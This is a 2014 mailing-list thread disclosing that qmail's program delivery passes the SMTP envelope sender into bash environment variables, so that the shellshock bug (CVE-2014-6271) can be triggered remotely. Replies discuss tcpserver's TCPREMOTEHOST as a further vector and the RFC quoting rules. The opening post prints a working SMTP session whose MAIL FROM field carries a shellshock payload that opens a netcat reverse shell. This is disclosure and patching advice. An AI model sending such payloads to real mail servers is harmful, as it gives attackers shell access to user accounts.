Mailing List Archive

qmail is a vector for CVE-2014-6271 (bash "shellshock")
qmail can be used as an attack vector to exploit bash vulnerable to
CVE-2014-6271 (aka shellshock). This can be used to execute arbitrary
commands as any valid user with a .qmail containing a program delivery.
Common uses of program delivery are procmail, ezmlm, spam checkers, etc.
As has already been said, upgrade your bash now!

The preconditions for this attack to work are:

1) "Shellshock"-vulnerable bash
2) /bin/sh symlinked to bash
3) Email delivery via qmail to a valid user with a .qmail file containing
ANY program delivery (the actual program being delivered to is irrelevant)

DJB acknowledged qmail was a vector in [0], and there has been some
discussion in that thread with partial details. I sent an email privately
to DJB on Thursday afternoon before he sent that message to the list.
While I did not receive a reply, I'll assume he saw it and that's why he
sent the notice.

I delayed sending details publicly, but I think some people have figured
it out now, and it's important to show the severity so people understand
that shellshock is exploitable in ways other than HTTP and patch bash on
all devices, especially permitter ones.

The issue is expoitable via qmail-1.03 (DJB's last release) and
netqmail-1.06. While not exploitable without a vulnerable bash, I think
qmail should be doing more input validation/sanitization of certain fields
in the SMTP dialog.

(Let me also say that I've run qmail for a long time, and that I am
appreciative of qmail and the other software and crypto that DJB has
produced.)

I will now provide an example, explain how it works via qmail, and suggest
a possible change to qmail's input validation.

Example:

======

(terminal 0)

$ nc -l -p 7777

(terminal 1)

$ pwd
/home/kgeorge
$ cat .qmail
|/bin/cat
$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 mail.example.com ESMTP
ehlo me
250-mail.example.com
250-PIPELINING
250 8BITMIME
mail from:<() { :; }; nc -e /bin/bash localhost 7777>
250 ok
rcpt to:<kgeorge@example.com>
250 ok
data
354 go ahead
Subject: Vuln

.
250 ok 1411674782 qp 4151

(terminal 0)

$ nc -l -p 7777
ls
mail
whoami
kgeorge

======

What you see above is that I am able to get a connect back shell by
passing specially crafted information in the SMTP dialog. Don't be fooled
by "localhost", it would work regardless. Those of you following this CVE
will notice that the mail from:<> is set to take advantage of the bash
bug, and it looks just like all the other vectors via HTTP, etc.

So why does this work? Well, those of us that have run qmail for a while
know that it uses environment variables [1] to as a way to pass
information to other processes during delivery and as it invokes processes
in the chain [2].

When qmail goes to do local delivery of an email, qmail-lspawn (which runs
as root) does setuid to the uid of the unix user responsible for the email
address. It then exec's qmail-local. qmail-local finds the applicable
.qmail file in the user's home directory, if it exists, parses each line,
and does delivery to each non-comment line. Each non-comment line in a
.qmail indicates delivery to a forwarding address, a maildir, an mbox, or
a program.

If the message is to be delivered to a program (a line beginning with
"|"), then qmail-local first sets some environment variables conveying
information about the messsage. It then forks and execs the program using
/bin/sh -c, as you can see on line 244 of qmail-local.c:

args[0] = "/bin/sh"; args[1] = "-c"; args[2] = prog; args[3] = 0;
sig_pipedefault();
execv(*args,args);

Two of the environment variables that qmail-local sets before doing
program delivery are SENDER and NEWSENDER (among others). qmail
propagates the "envelope sender" -- the thing between <> in the mail from:
part of the SMTP dialog -- verbatim into this variable.

Conceptually, qmail is running this command:

SENDER="MAILFROMVALUEFROMSMTPDIALOG" /bin/sh -c PROGRAMFROMDOTQMAIL

In my example exploit, this is effectively:

SENDER="() { :; }; nc -e /bin/bash localhost 7777" /bin/sh -c /bin/cat

On many systems, /bin/sh is a symlink to bash. When exec'ed, the
vulnerable bash parses SENDER at startup and incorrectly runs the command
under attacker control, with privileges of the local user, regardless of
the program in .qmail.

Again, this is not exploitable without vulnerable bash. However, qmail is
not parsing mail from:<> and rcpt to:<> in accordance with RFC821/RFC2821.
These fields are called "reverse-path" and "foward-path" in the RFCs.
See section 4.1.2 in [3] and [4]. In qmail-smtpd.c, these are parsed by
the addrparse() function. If you read this code, you can see that almost
anything is allowed. I think it's too permissive.

In other words, there is no reason that I can see that qmail should allow
the string "() { :; }; nc -e /bin/bash localhost 7777" to ever pass
through mail from:<> or rcpt to:<> in the first place. I think this is a
bug. Perhaps DJB can offer some historical perspective.

[0] http://marc.info/?l=qmail&m=141170230109642&w=2
[1] http://www.lifewithqmail.org/lwq.html#environment-variables
[2] http://www.catb.org/~esr/writings/taoup/html/ch06s06.html
[3] http://tools.ietf.org/html/rfc821#page-27
[4] http://tools.ietf.org/html/rfc2821#section-4.1.2

--
Kyle George
Re: qmail is a vector for CVE-2014-6271 (bash "shellshock") [ In reply to ]
Thus said Kyle George on Sat, 27 Sep 2014 11:36:15 -0400:

> DJB acknowledged qmail was a vector in [0], and there has been some
> discussion in that thread with partial details.

He acknowledged it years before it was exploitable. The qmail-command
man page says as much:

ENVIRONMENT VARIABLES
qmail-local supplies several useful environment variables to
command. WARNING: These environment variables are not quoted.
They may contain special characters. They are under the
control of a possibly malicious remote user.

> I will now provide an example, explain how it works via qmail, and
> suggest a possible change to qmail's input validation.

Thank you for taking the time to write this up. I had forgotten that
qmail-command documents the use of the SENDER/NEWSENDER environment
variables (among others that may not be exploitable).

But this may not be the only vector for qmail setups that use ucspi-tcp.
Would it be possible to exploit via tcpserver environment variables? If
using tcpserver without -p, for example, TCPREMOTEHOST will be set to
the result of looking up the PTR for the host. If I'm in control of the
DNS for that record, I could make it resolve to something to exploit
bash too, assuming that the variable is then passed on to a bash
shell script. I suspect there are many who have more than just
tcpserver/qmail-smtpd in their qmail-smtpd/run script:

tcpserver ... 0 25 /path/to/script /path/to/otherscript qmail-smtpd

Using tcpserver with -p, on the other hand, will attempt a forward
lookup of the name returned by the PTR, which might make it much more
difficult to exploit, though perhaps not entirely impossible.

I have not checked to see if tcpserver sanitizes TCPREMOTEHOST, but the
documentation does mention this:

$TCPREMOTEHOST is the name listed in DNS for the remote host. If
no name is available, $TCPREMOTEHOST is not set. Beware that
$TCPREMOTEHOST can contain arbitrary characters.

Also, if you've patched qmail to call a shell script, it may be possible
to exploit even if you haven't any other shell scripts in use.

Andy
--
TAI64 timestamp: 400000005426ec33
Re: qmail is a vector for CVE-2014-6271 (bash "shellshock") [ In reply to ]
On Sat, 27 Sep 2014, Andy Bradford wrote:

> Thus said Kyle George on Sat, 27 Sep 2014 11:36:15 -0400:
>
> He acknowledged it years before it was exploitable. The qmail-command
> man page says as much:
>
> ENVIRONMENT VARIABLES
> qmail-local supplies several useful environment variables to
> command. WARNING: These environment variables are not quoted.
> They may contain special characters. They are under the
> control of a possibly malicious remote user.

I did not recall that part of the manpage, thanks. However, I'm not sure
this obviates the need for qmail to parse "mail from:" and "rcpt to:" more
restrictively. There's a difference between "may contain special
characters" and "may contain anything the user puts in this part of the
SMTP dialog". For example, the RFC says you can have some specials in
mail from/rcpt to, but a certain subset, and in a certain way.

>> I will now provide an example, explain how it works via qmail, and
>> suggest a possible change to qmail's input validation.
>
> Thank you for taking the time to write this up. I had forgotten that
> qmail-command documents the use of the SENDER/NEWSENDER environment
> variables (among others that may not be exploitable).

You're welcome.

> But this may not be the only vector for qmail setups that use ucspi-tcp.
> Would it be possible to exploit via tcpserver environment variables? If
> using tcpserver without -p, for example, TCPREMOTEHOST will be set to
> the result of looking up the PTR for the host. If I'm in control of the
> DNS for that record, I could make it resolve to something to exploit
> bash too, assuming that the variable is then passed on to a bash
> shell script. I suspect there are many who have more than just
> tcpserver/qmail-smtpd in their qmail-smtpd/run script:
>
> tcpserver ... 0 25 /path/to/script /path/to/otherscript qmail-smtpd
>
> Using tcpserver with -p, on the other hand, will attempt a forward
> lookup of the name returned by the PTR, which might make it much more
> difficult to exploit, though perhaps not entirely impossible.
>
> I have not checked to see if tcpserver sanitizes TCPREMOTEHOST, but the
> documentation does mention this:
>
> $TCPREMOTEHOST is the name listed in DNS for the remote host. If
> no name is available, $TCPREMOTEHOST is not set. Beware that
> $TCPREMOTEHOST can contain arbitrary characters.
>
> Also, if you've patched qmail to call a shell script, it may be possible
> to exploit even if you haven't any other shell scripts in use.

You make some good points. I did not consider tcpserver. With tcpserver
-h (the default), it will always look up and set TCPREMOTEHOST. With or
without -p, this looks possible too once /bin/sh with shellshocked bash is
called. From quickly looking at tcpserver.c and dns_*.c, I don't
immediately see any sanitization, but I didn't look that hard. The above
docs are probably correct, in that TCPREMOTEHOST can contain arbitrary
characters too.

--
Kyle George
Re: qmail is a vector for CVE-2014-6271 (bash "shellshock") [ In reply to ]
On Sat, 27 Sep 2014, Kyle George wrote:

> On Sat, 27 Sep 2014, Andy Bradford wrote:
>
>> Also, if you've patched qmail to call a shell script, it may be possible
>> to exploit even if you haven't any other shell scripts in use.

I think that it is important to reiterate this and clarify one thing I
said. In my list of three preconditions, I said that /bin/sh had to be a
symlink to bash. In fact, it's any bash that gets exec'ed after a
malicious environment variable is set. /bin/sh could be dash or ksh, but
if your bash is unpatched and your .qmail has program delivery to a script
that #!/bin/bash, or another process that eventually exec's bash without
clearing the environment, then you will be affected.

--
Kyle George
Re: qmail is a vector for CVE-2014-6271 (bash "shellshock") [ In reply to ]
Kyle George writes:
> Again, this is not exploitable without vulnerable bash.

Right. There are probably thousands of ways to exploit the same bash
bug. There are cases where assigning blame for a security hole can
require thought, but this isn't one of those cases.

> However, qmail is not parsing mail from:<> and rcpt to:<> in
> accordance with RFC821/RFC2821. These fields are called "reverse-path"
> and "foward-path" in the RFCs. See section 4.1.2 in [3] and [4].

Did you actually read the RFCs that you're pointing to?

The whole point of "quoted-string" in RFC 821 is to allow special
characters that can't be transmitted in the syntax any other way. Inside
a quoted-string the specification explicitly allows "any one of the 128
ASCII characters (no exceptions)" after a backslash; the backslash can
be omitted except before CR, LF, double-quote, and backslash.

For most strings the syntax allows multiple encodings (unquoted, quoted
without backslashes, quoted with backslashes) and obviously all of these
should be treated the same way---a requirement made reasonably explicit
in RFC 2821 ("all quoted forms MUST be treated as equivalent") despite
sendmail having screwed it up for years. The obvious way for an MTA to
implement the standards correctly is to strip the quoting when an
address is converted to an internal string; that's what qmail does.

---Dan